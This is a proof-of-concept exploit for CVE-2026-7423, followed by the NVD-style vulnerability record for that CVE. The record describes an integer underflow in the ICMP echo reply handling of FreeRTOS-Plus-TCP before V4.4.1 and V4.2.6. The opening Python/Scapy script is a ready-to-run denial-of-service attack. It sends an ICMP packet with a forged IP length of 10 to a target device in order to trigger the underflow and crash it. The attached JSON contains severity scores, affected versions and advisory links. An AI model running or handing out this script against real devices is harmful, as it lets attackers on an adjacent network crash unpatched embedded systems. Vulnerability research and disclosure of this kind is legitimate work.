CVE-2026-7423

from scapy.all import * # Configuration target_ip = "192.168.1.10" # IP of the vulnerable FreeRTOS device interface = "eth0" def send_malicious_icmp(): # Construct an IP header where the Total Length is smaller than the IP+ICMP header size. # IP Header (20 bytes) + ICMP Header (8 bytes) = 28 bytes minimum. # We set Total Length to 10 to trigger the underflow. # 10 - 28 = -18, which becomes a very large unsigned integer. crafted_packet = IP(dst=target_ip, len=10) / ICMP() # Send the packet send(crafted_packet, iface=interface, verbose=1) print(f"[*] Malicious ICMP packet sent to {target_ip}") if __name__ == "__main__": send_malicious_icmp()

{"cve": {"id": "CVE-2026-7423", "sourceIdentifier": "ff89ba41-3aa1-4d27-914a-91399e9639e5", "published": "2026-04-29T19:16:26.617", "lastModified": "2026-05-04T13:35:00.500", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Integer underflow in the ICMP and ICMPv6 echo reply handlers in FreeRTOS-Plus-TCP before V4.4.1 and V4.2.6 allows an adjacent network user to cause a denial of service (device crash) when outgoing ping support is enabled, because header sizes are subtracted from a packet length field without validating the field is large enough, resulting in a heap out-of-bounds read of up to approximately 65KB.\n\n\n\nTo mitigate this issue, users should upgrade to the fixed version when available."}], "metrics": {"cvssMetricV40": [{"source": "ff89ba41-3aa1-4d27-914a-91399e9639e5", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:A/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.0, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "ff89ba41-3aa1-4d27-914a-91399e9639e5", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 3.6}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "ff89ba41-3aa1-4d27-914a-91399e9639e5", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-191"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:amazon:freertos-plus-tcp:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.0.0", "versionEndExcluding": "4.2.6", "matchCriteriaId": "DE7A5C38-9CEA-461B-9272-3B8BFC06BFEE"}, {"vulnerable": true, "criteria": "cpe:2.3:a:amazon:freertos-plus-tcp:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.3.0", "versionEndExcluding": "4.4.1", "matchCriteriaId": "375C7032-9CFB-480C-BFFA-029C985A82B7"}]}]}], "references": [{"url": "https://aws.amazon.com/security/security-bulletins/2026-021-aws/", "source": "ff89ba41-3aa1-4d27-914a-91399e9639e5", "tags": ["Vendor Advisory"]}, {"url": "https://github.com/FreeRTOS/FreeRTOS-Plus-TCP/releases/tag/V4.2.6", "source": "ff89ba41-3aa1-4d27-914a-91399e9639e5", "tags": ["Release Notes"]}, {"url": "https://github.com/FreeRTOS/FreeRTOS-Plus-TCP/releases/tag/V4.4.1", "source": "ff89ba41-3aa1-4d27-914a-91399e9639e5", "tags": ["Release Notes"]}, {"url": "https://github.com/FreeRTOS/FreeRTOS-Plus-TCP/security/advisories/GHSA-7r59-2pgv-9v2r", "source": "ff89ba41-3aa1-4d27-914a-91399e9639e5", "tags": ["Vendor Advisory", "Patch"]}]}}